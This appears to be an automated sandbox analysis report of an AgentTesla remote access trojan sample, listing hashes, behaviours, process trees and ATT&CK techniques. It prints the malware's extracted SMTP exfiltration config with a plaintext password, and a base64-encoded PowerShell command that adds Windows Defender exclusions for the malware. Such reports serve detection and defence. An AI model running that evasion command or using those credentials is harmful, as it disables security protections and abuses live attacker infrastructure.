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Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
18/01/2025, 01:12
Static task
static1
Behavioral task
behavioral1
Sample
dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe
Resource
win7-20240903-en
General
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Target
dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe
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Size
195KB
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MD5
7e00ba5041aac26048324241b452ad71
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SHA1
d6afbf2d3fb24697d57c2e13f4f2550d441a7295
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SHA256
dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908
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SHA512
ca8c784db34ac2607e30debdad42dab50e8cf1469d1104d5e7bbd33eac6337d2394d711d2921c327d3990ebb5bd56ae3d15249b71cbb16be0461079cc169342f
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SSDEEP
6144:8MA/CIqaM6LGR7ltGqRqjEcYgTkTanTzVM3qFYi7:E/lqkTmqFr7
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.iaa-airferight.com - Port:
587 - Username:
[email protected] - Password:
manlikeyou88 - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Agenttesla family
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2616 created 3436 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 56 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\folder.vbs dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2616 set thread context of 624 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 94 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ipconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language InstallUtil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ipconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 4540 ipconfig.exe 3196 ipconfig.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3640 powershell.exe 3640 powershell.exe 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 624 InstallUtil.exe 624 InstallUtil.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe Token: SeDebugPrivilege 3640 powershell.exe Token: SeDebugPrivilege 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe Token: SeDebugPrivilege 624 InstallUtil.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2616 wrote to memory of 2584 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 84 PID 2616 wrote to memory of 2584 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 84 PID 2616 wrote to memory of 2584 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 84 PID 2584 wrote to memory of 4540 2584 cmd.exe 86 PID 2584 wrote to memory of 4540 2584 cmd.exe 86 PID 2584 wrote to memory of 4540 2584 cmd.exe 86 PID 2616 wrote to memory of 3640 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 92 PID 2616 wrote to memory of 3640 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 92 PID 2616 wrote to memory of 3640 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 92 PID 2616 wrote to memory of 624 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 94 PID 2616 wrote to memory of 624 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 94 PID 2616 wrote to memory of 624 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 94 PID 2616 wrote to memory of 624 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 94 PID 2616 wrote to memory of 624 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 94 PID 2616 wrote to memory of 624 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 94 PID 2616 wrote to memory of 624 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 94 PID 2616 wrote to memory of 624 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 94 PID 2616 wrote to memory of 4124 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 95 PID 2616 wrote to memory of 4124 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 95 PID 2616 wrote to memory of 4124 2616 dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe 95 PID 4124 wrote to memory of 3196 4124 cmd.exe 97 PID 4124 wrote to memory of 3196 4124 cmd.exe 97 PID 4124 wrote to memory of 3196 4124 cmd.exe 97
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3436
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C:\Users\Admin\AppData\Local\Temp\dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe"C:\Users\Admin\AppData\Local\Temp\dfe348365330a95637b9c3cb46019314fee1b363333ed91bbf1d0149b4eea908.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Drops startup file
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2616 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig /release3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2584 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /release4⤵
- System Location Discovery: System Language Discovery
- Gathers network information
PID:4540
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAZABmAGUAMwA0ADgAMwA2ADUAMwAzADAAYQA5ADUANgAzADcAYgA5AGMAMwBjAGIANAA2ADAAMQA5ADMAMQA0AGYAZQBlADEAYgAzADYAMwAzADMAMwBlAGQAOQAxAGIAYgBmADEAZAAwADEANAA5AGIANABlAGUAYQA5ADAAOAAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABkAGYAZQAzADQAOAAzADYANQAzADMAMABhADkANQA2ADMANwBiADkAYwAzAGMAYgA0ADYAMAAxADkAMwAxADQAZgBlAGUAMQBiADMANgAzADMAMwAzAGUAZAA5ADEAYgBiAGYAMQBkADAAMQA0ADkAYgA0AGUAZQBhADkAMAA4AC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABmAG8AbABkAGUAcgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABmAG8AbABkAGUAcgAuAGUAeABlAA==3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3640
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig /renew3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4124 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /renew4⤵
- System Location Discovery: System Language Discovery
- Gathers network information
PID:3196
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:624
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82